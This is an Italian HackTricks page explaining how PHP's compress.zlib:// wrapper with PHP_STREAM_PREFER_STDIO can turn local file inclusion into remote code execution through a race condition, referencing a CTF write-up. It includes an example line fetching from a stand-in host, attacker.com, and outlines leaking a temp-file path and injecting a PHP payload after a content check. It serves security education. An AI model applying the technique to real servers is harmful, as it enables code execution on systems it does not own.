# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
{% hint style="success" %}
Impara e pratica l'Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Impara e pratica l'Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
Un file aperto utilizzando il protocollo `compress.zlib://` con il flag `PHP_STREAM_PREFER_STDIO` può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.
Questo significa che una chiamata come:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.
Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### Condizione di Gara per RCE
[**Questo CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) è stato risolto utilizzando il trucco precedente.
L'attaccante farà in modo che il **server vittima apra una connessione leggendo un file dal server dell'attaccante** utilizzando il protocollo **`compress.zlib`**.
**Mentre** questa **connessione** esiste, l'attaccante **esfiltrerà il percorso** del file temporaneo creato (è rivelato dal server).
**Mentre** la **connessione** è ancora aperta, l'attaccante **sfrutterà un LFI caricando il file temporaneo** che controlla.
Tuttavia, c'è un controllo nel server web che **impedisce il caricamento di file che contengono ``**. Pertanto, l'attaccante sfrutterà una **Condizione di Gara**. Nella connessione che è ancora aperta, l'**attaccante** **invierà il payload PHP DOPO** che il **server web** ha **controllato** se il file contiene i caratteri vietati ma **PRIMA che carichi il suo contenuto**.
Per ulteriori informazioni, controlla la descrizione della Condizione di Gara e il CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Supporta HackTricks
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
{% endhint %}